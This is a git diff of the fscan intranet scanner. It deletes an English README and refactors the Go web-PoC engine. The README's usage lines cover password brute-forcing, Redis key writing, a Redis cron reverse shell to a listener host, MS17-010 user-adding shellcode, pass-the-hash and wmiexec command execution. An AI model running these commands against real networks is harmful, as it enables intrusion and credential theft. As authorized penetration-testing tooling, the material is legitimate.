|
||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
[+] 2022/1/11 Add oracle password explosion.
|
||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-docen]: README_EN.md
|
||||
[url-doczh]: README.md
|
260
README_EN.md
260
README_EN.md
@ -1,260 +0,0 @@
|
||||
# fscan
|
||||
[中文][url-doczh]
|
||||
|
||||
# 1. Introduction
|
||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||
|
||||
# 2. Functions
|
||||
1.Information collection:
|
||||
* Survival detection(icmp)
|
||||
* Port scanning
|
||||
|
||||
2.Blasting:
|
||||
* Various service blasting(ssh、smb、rdp, etc.)
|
||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||
|
||||
3.System information, vulnerability scanning:
|
||||
* Netbios detection, domain control identification
|
||||
* Collect NIC information
|
||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||
|
||||
4.Web detection:
|
||||
* Webtitle detection
|
||||
* Web fingerprinting (cms, oa framework, etc.)
|
||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||
|
||||
5.Exploit:
|
||||
* Write redis public key and scheduled tasks
|
||||
* Excute ssh command
|
||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||
|
||||
6.Others:
|
||||
* Save ouput result
|
||||
|
||||
# 3. Instructions
|
||||
Getting Started
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
```
|
||||
|
||||
Advanced
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||
fscan.exe -hf ip.txt (Import target from file)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||
```
|
||||
Compile command
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (Optional, compressed)
|
||||
```
|
||||
Installation for arch users
|
||||
`yay -S fscan-git or paru -S fscan-git`
|
||||
|
||||
Full parameters
|
||||
```
|
||||
Usage of ./fscan:
|
||||
-br int
|
||||
Brute threads (default 1)
|
||||
-c string
|
||||
exec command (ssh|wmiexec)
|
||||
-cookie string
|
||||
set poc cookie,-cookie rememberMe=login
|
||||
-debug int
|
||||
every time to LogErr (default 60)
|
||||
-dns
|
||||
using dnslog poc
|
||||
-domain string
|
||||
smb domain
|
||||
-full
|
||||
poc full scan,as: shiro 100 key
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hash string
|
||||
hash
|
||||
-hf string
|
||||
host file, -hf ip.txt
|
||||
-hn string
|
||||
the hosts no scan,as: -hn 192.168.1.1/24
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nobr
|
||||
not to Brute password
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-num int
|
||||
poc rate (default 20)
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
add port base DefaultPorts,-pa 3389
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pn string
|
||||
the ports no scan,as: -pn 445
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-pocpath string
|
||||
poc file path
|
||||
-portf string
|
||||
Port File
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwda string
|
||||
add a password base DefaultPasses,-pwda password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-sc string
|
||||
ms17 shellcode,as -sc add
|
||||
-silent
|
||||
silent scan
|
||||
-socks5 string
|
||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||
-sshkey string
|
||||
sshkey file (id_rsa)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-top int
|
||||
show live len top (default 10)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-usera string
|
||||
add a user base DefaultUsers,-usera user
|
||||
-userf string
|
||||
username file
|
||||
-wmi
|
||||
start wmi
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
```
|
||||
|
||||
# 4. Demo
|
||||
|
||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||

|
||||
|
||||
# 5. Disclaimer
|
||||
|
||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||
|
||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||
|
||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||
|
||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||
|
||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
|
||||
|
||||
# 7. Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. Donation
|
||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||
|
||||
# 9. Reference links
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
|
||||
|
||||
# 10. Dynamics
|
||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
[+] 2022/1/11 Add oracle password explosion.
|
||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-doczh]: README.md
|
@ -3,13 +3,14 @@ package WebScan
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
@ -17,23 +18,23 @@ var Pocs embed.FS
|
||||
var once sync.Once
|
||||
var AllPocs []*lib.Poc
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
once.Do(initpoc)
|
||||
var pocinfo = common.Pocinfo
|
||||
func WebScan(info common.HostInfo, flags common.Flags) {
|
||||
once.Do(func() { initpoc(flags.PocPath) })
|
||||
var pocinfo = flags.Pocinfo
|
||||
buf := strings.Split(info.Url, "/")
|
||||
pocinfo.Target = strings.Join(buf[:3], "/")
|
||||
|
||||
if pocinfo.PocName != "" {
|
||||
Execute(pocinfo)
|
||||
Execute(pocinfo, flags)
|
||||
} else {
|
||||
for _, infostr := range info.Infostr {
|
||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
||||
Execute(pocinfo)
|
||||
Execute(pocinfo, flags)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Execute(PocInfo common.PocInfo) {
|
||||
func Execute(PocInfo common.PocInfo, flags common.Flags) {
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
|
||||
@ -48,11 +49,11 @@ func Execute(PocInfo common.PocInfo) {
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
pocs := filterPoc(PocInfo.PocName)
|
||||
lib.CheckMultiPoc(req, pocs, common.PocNum)
|
||||
lib.CheckMultiPoc(req, pocs, flags)
|
||||
}
|
||||
|
||||
func initpoc() {
|
||||
if common.PocPath == "" {
|
||||
func initpoc(pocPath string) {
|
||||
if pocPath == "" {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Printf("[-] init poc error: %v", err)
|
||||
@ -67,7 +68,7 @@ func initpoc() {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err := filepath.Walk(common.PocPath,
|
||||
err := filepath.Walk(pocPath,
|
||||
func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info == nil {
|
||||
return err
|
||||
|
@ -3,9 +3,6 @@ package lib
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@ -13,6 +10,10 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -25,13 +26,13 @@ type Task struct {
|
||||
Poc *Poc
|
||||
}
|
||||
|
||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) {
|
||||
tasks := make(chan Task)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
for i := 0; i < flags.PocNum; i++ {
|
||||
go func() {
|
||||
for task := range tasks {
|
||||
isVul, _, name := executePoc(task.Req, task.Poc)
|
||||
isVul, _, name := executePoc(task.Req, task.Poc, flags)
|
||||
if isVul {
|
||||
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
|
||||
common.LogSuccess(result)
|
||||
@ -52,7 +53,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
||||
close(tasks)
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) {
|
||||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
if len(p.Sets) > 0 {
|
||||
@ -82,7 +83,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
for _, item := range p.Set {
|
||||
k, expression := item.Key, item.Value
|
||||
if expression == "newReverse()" {
|
||||
if !common.DnsLog {
|
||||
if !flags.DnsLog {
|
||||
return false, nil, ""
|
||||
}
|
||||
variableMap[k] = newReverse()
|
||||
@ -96,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
success := false
|
||||
//爆破模式,比如tomcat弱口令
|
||||
if len(p.Sets) > 0 {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env)
|
||||
success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env)
|
||||
return success, nil, ""
|
||||
}
|
||||
|
||||
@ -132,7 +133,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error: ",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
@ -149,7 +149,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
if len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
@ -161,7 +161,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
|
||||
//如果false不继续执行后续rule
|
||||
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
flag, ok = out.Value().(bool)
|
||||
@ -258,7 +258,7 @@ func newReverse() *Reverse {
|
||||
}
|
||||
}
|
||||
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||
func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||
var strMap StrMap
|
||||
var tmpnum int
|
||||
for i, rule := range p.Rules {
|
||||
@ -277,8 +277,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
ruleHash := make(map[string]struct{})
|
||||
look:
|
||||
for j, item := range setsMap {
|
||||
//shiro默认只跑10key
|
||||
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
|
||||
//shiro only runs by default 10key
|
||||
if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 {
|
||||
if item[1] == "cbc" {
|
||||
continue
|
||||
} else {
|
||||
@ -445,7 +445,6 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
//
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error:",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
@ -477,7 +476,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
}
|
||||
|
@ -6,9 +6,6 @@ import (
|
||||
"embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/proxy"
|
||||
"gopkg.in/yaml.v2"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
@ -16,6 +13,10 @@ import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/proxy"
|
||||
"gopkg.in/yaml.v2"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -25,15 +26,15 @@ var (
|
||||
keepAlive = 5 * time.Second
|
||||
)
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
func Inithttp(flags common.Flags) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
|
||||
err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error {
|
||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
@ -51,8 +52,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
|
||||
if common.Socks5Proxy != "" {
|
||||
dialSocksProxy, err := common.Socks5Dailer(dialer)
|
||||
if socks5Proxy.Address != "" {
|
||||
dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -570,7 +570,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
//fmt.Println(urlStr)
|
||||
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
@ -621,7 +621,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
//fmt.Println("[-]DoRequest error: ",err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
|
131
common/Parse.go
131
common/Parse.go
@ -11,24 +11,28 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Parse(Info *HostInfo) {
|
||||
ParseUser()
|
||||
ParsePass(Info)
|
||||
ParseInput(Info)
|
||||
ParseScantype(Info)
|
||||
func Parse(inputConfig *InConfig) {
|
||||
ParseUser(&inputConfig.Flags)
|
||||
ParsePass(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||
ParseInput(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||
ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||
|
||||
Outputfile = inputConfig.LogConfig.Outputfile
|
||||
IsSave = !inputConfig.LogConfig.TmpSave
|
||||
Cookie = inputConfig.Cookie
|
||||
}
|
||||
|
||||
func ParseUser() {
|
||||
if Username == "" && Userfile == "" {
|
||||
func ParseUser(flags *Flags) {
|
||||
if flags.Username == "" && flags.Userfile == "" {
|
||||
return
|
||||
}
|
||||
var Usernames []string
|
||||
if Username != "" {
|
||||
Usernames = strings.Split(Username, ",")
|
||||
if flags.Username != "" {
|
||||
Usernames = strings.Split(flags.Username, ",")
|
||||
}
|
||||
|
||||
if Userfile != "" {
|
||||
users, err := Readfile(Userfile)
|
||||
if flags.Userfile != "" {
|
||||
users, err := Readfile(flags.Userfile)
|
||||
if err == nil {
|
||||
for _, user := range users {
|
||||
if user != "" {
|
||||
@ -44,10 +48,10 @@ func ParseUser() {
|
||||
}
|
||||
}
|
||||
|
||||
func ParsePass(Info *HostInfo) {
|
||||
func ParsePass(Info *HostInfo, flags *Flags) {
|
||||
var PwdList []string
|
||||
if Password != "" {
|
||||
passs := strings.Split(Password, ",")
|
||||
if flags.Password != "" {
|
||||
passs := strings.Split(flags.Password, ",")
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
PwdList = append(PwdList, pass)
|
||||
@ -55,8 +59,8 @@ func ParsePass(Info *HostInfo) {
|
||||
}
|
||||
Passwords = PwdList
|
||||
}
|
||||
if Passfile != "" {
|
||||
passs, err := Readfile(Passfile)
|
||||
if flags.Passfile != "" {
|
||||
passs, err := Readfile(flags.Passfile)
|
||||
if err == nil {
|
||||
for _, pass := range passs {
|
||||
if pass != "" {
|
||||
@ -66,34 +70,35 @@ func ParsePass(Info *HostInfo) {
|
||||
Passwords = PwdList
|
||||
}
|
||||
}
|
||||
if URL != "" {
|
||||
urls := strings.Split(URL, ",")
|
||||
|
||||
if flags.URL != "" {
|
||||
urls := strings.Split(flags.URL, ",")
|
||||
